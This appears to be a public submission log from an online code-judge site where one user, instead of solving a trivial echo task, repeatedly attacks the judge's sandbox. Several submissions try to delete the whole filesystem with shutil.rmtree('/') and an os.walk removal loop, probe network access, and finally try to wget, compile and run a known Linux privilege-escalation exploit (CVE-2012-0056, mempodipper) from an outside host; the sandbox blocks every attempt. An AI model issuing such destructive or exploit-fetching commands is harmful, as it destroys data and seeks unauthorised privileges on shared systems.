IN

test

OUT

test2
Login to submit solution


211 symbols python3 failed test 1 Code error

Traceback (most recent call last): File "./code", line 5, in <module> s.connect(("www.python.org" , 80)) socket.gaierror: [Errno -3] Temporary failure in name resolution

Sat Jan 18 22:34:52 2014 andgein
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                 

s.connect(("www.python.org" , 80))
s.sendall(b"GET /\r\n") # you're missing this line
print(s.recv(4096).decode())
s.close()
2 symbols python3 failed test 1 Code error

File "./code", line 1 >< ^ SyntaxError: invalid syntax

Sat Jan 18 22:35:35 2014 andgein
><
20 symbols python3 failed test 1 Wrong answer

                      
instead of
test2
Sat Jan 18 22:35:54 2014 andgein
import sys
import os
35 symbols python3 failed test 1 Wrong answer

                      
instead of
test2
Sat Jan 18 22:41:00 2014 andgein
import sys
import os
import shutil
54 symbols python3 failed test 1 Code error

Traceback (most recent call last): File "./code", line 5, in <module> shutil.rmtree('/') File "/usr/lib/python3.5/shutil.py", line 474, in rmtree _rmtree_safe_fd(fd, path, onerror) File "/usr/lib/python3.5/shutil.py", line 412, in _rmtree_safe_fd _rmtree_safe_fd(dirfd, fullname, onerror) File "/usr/lib/python3.5/shutil.py", line 432, in _rmtree_safe_fd onerror(os.unlink, fullname, sys.exc_info()) File "/usr/lib/python3.5/shutil.py", line 430, in _rmtree_safe_fd os.unlink(name, dir_fd=topfd) OSError: [Errno 30] Read-only file system: 'kcore'

Sat Jan 18 22:41:14 2014 andgein
import sys
import os
import shutil

shutil.rmtree('/')
80 symbols python3 failed test 1 Wrong answer
1
instead of
test2
Sat Jan 18 22:43:58 2014 andgein
import sys
import os
import shutil

try:
  shutil.rmtree('/')
except:
  print(1)
327 symbols python3 failed test 1 Wrong answer

                      
instead of
test2
Sat Jan 18 22:47:09 2014 andgein
import sys
import os
import shutil

import os
for root, dirs, files in os.walk('/', topdown=False):
    for name in files:
        try:
           os.remove(os.path.join(root, name))
        except:
           pass
    for name in dirs:
        try:
           os.rmdir(os.path.join(root, name))
        except:
           pass
27 symbols perl failed test 1 Wrong answer

                      
instead of
test2
Sat Jan 18 22:48:53 2014 andgein
<>;<>;<>;<>;<>;<>;<>;<>;<>;
40 symbols bash failed test 1 Code error

./code: line 1: main.py: Permission denied python3: can't open file 'main.py': [Errno 2] No such file or directory

Sat Jan 18 22:51:27 2014 andgein
cat "print(1)" > main.py
python3 main.py
24 symbols bash failed test 1 Code error

./code: line 1: main.py: Permission denied

Sat Jan 18 22:51:34 2014 andgein
cat "print(1)" > main.py
14 symbols bash failed test 1 Code error

cat: print(1): No such file or directory

Sat Jan 18 22:51:40 2014 andgein
cat "print(1)"
23 symbols bash failed test 1 Code error

./code: line 1: syntax error near unexpected token `(' ./code: line 1: `echo print(1) > main.py'

Sat Jan 18 22:51:51 2014 andgein
echo print(1) > main.py
25 symbols bash failed test 1 Code error

./code: line 1: main.py: Permission denied

Sat Jan 18 22:51:58 2014 andgein
echo 'print(1)' > main.py
15 symbols bash failed test 1 Wrong answer
print(1)
instead of
test2
Sat Jan 18 22:52:54 2014 andgein
echo 'print(1)'
30 symbols bash failed test 1 Code error

./code: line 1: /tmp/main.py: Read-only file system

Sat Jan 18 22:53:09 2014 andgein
echo 'print(1)' > /tmp/main.py
51 symbols bash failed test 1 Code error

./code: line 1: /tmp/main.py: Read-only file system python3: can't open file '/tmp/main.py': [Errno 2] No such file or directory

Sat Jan 18 22:53:19 2014 andgein
echo 'print(1)' > /tmp/main.py
python3 /tmp/main.py
123 symbols bash failed test 1 Code error

./code: line 1: wget: command not found ./code: line 2: /tmp/main.py: Read-only file system python3: can't open file '/tmp/main.py': [Errno 2] No such file or directory

Sat Jan 18 22:53:55 2014 andgein
wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c -O /tmp/1.c
echo 'print(1)' > /tmp/main.py
python3 /tmp/main.py
101 symbols bash failed test 1 Code error

./code: line 1: wget: command not found gcc: error: /tmp/1.c: No such file or directory gcc: error: /tmp/1: No such file or directory gcc: fatal error: no input files compilation terminated. ./code: line 3: /tmp/1: No such file or directory

Sat Jan 18 22:59:36 2014 andgein
wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c -O /tmp/1.c
gcc /tmp/1.c -O /tmp/1
/tmp/1
78 symbols bash failed test 1 Code error

./code: line 1: wget: command not found ./code: line 2: /tmp/1: No such file or directory

Sat Jan 18 22:59:47 2014 andgein
wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c -O /tmp/1.c
/tmp/1
71 symbols bash failed test 1 Code error

./code: line 1: wget: command not found

Sat Jan 18 22:59:54 2014 andgein
wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c -O /tmp/1.c

View all solutions